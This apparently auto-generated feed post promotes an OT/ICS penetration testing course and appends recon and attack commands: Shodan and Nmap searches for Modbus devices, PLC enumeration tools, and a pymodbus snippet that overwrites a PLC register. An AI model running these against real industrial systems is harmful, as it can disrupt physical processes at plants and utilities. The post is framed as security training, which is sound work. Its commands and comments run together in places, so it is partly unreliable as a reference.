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This one-day course by Mike Holcomb addresses the critical gap in OT/ICS penetration testing resources. It provides hands-on training to safely assess industrial control systems (ICS) and operational technology (OT) environments, including power plants, refineries, and water treatment facilities.
Key Topics Covered:
- Pivoting from IT to OT penetration testing
- Safe testing methodologies for OT environments
- Differences between IT and OT penetration testing
- Assumed breach techniques through IT/OT DMZs
- Evaluating PLC and OT asset cybersecurity
Course Materials Included:
- Slides & Lab Manual
- Bonus Resources & Session Recordings
- Certificate of Completion (8 CPEs)
You Should Know: Practical OT/ICS Penetration Testing Techniques
1. Reconnaissance & OSINT for OT
Shodan search for ICS devices shodan search --fields 'ip_str,port,org,data' 'product:modbus' Nmap scan for OT protocols nmap -p 502,102,44818,1911 --script modbus-discover <target_IP>
2. Enumerating OT Assets
PLCScan for Siemens S7 devices python plcscan.py -d <target_IP> Metasploit module for Allen-Bradley use auxiliary/scanner/scada/allen_bradley_version
3. Attacking OT Systems Safely
Simulate a rogue HMI (Human-Machine Interface) python rogue_hmi.py --target <PLC_IP> --port 502
4. Impacting Industrial Processes (Proof of Concept)
Modbus TCP Write Attack (PoC)
from pymodbus.client import ModbusTcpClient
client = ModbusTcpClient('<target_IP>')
client.write_register(0, 0xFFFF, unit=1) Override PLC register
5. Post-Exploitation in OT Networks
Capture OT network traffic tcpdump -i eth0 -w ot_traffic.pcap 'port 502 or port 102' Analyze with Wireshark wireshark ot_traffic.pcap -Y "modbus || enip"
What Undercode Say
OT/ICS security is often overlooked, yet critical infrastructure remains a prime target for cyberattacks. This course bridges the gap by providing real-world attack simulations and defensive strategies. Key takeaways:
– OT ≠ IT: Safety-first approach is mandatory.
– Assumed Breach: Test beyond IT-OT segmentation.
– Hands-On Learning: Labs reinforce theoretical knowledge.
Prediction
As OT/ICS systems increasingly connect to IT networks, ransomware and sabotage attacks will rise. Organizations must adopt continuous OT pentesting to prevent catastrophic failures.
Expected Output:
- Course Enrollment: Sign Up Here
- Lab Success: Confirmed via quiz (20 questions).
- Post-Course: 30-day access to materials.
(Note: If unable to pay, email `[email protected]` for free access.)
IT/Security Reporter URL:
Reported By: Mikeholcomb Very – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
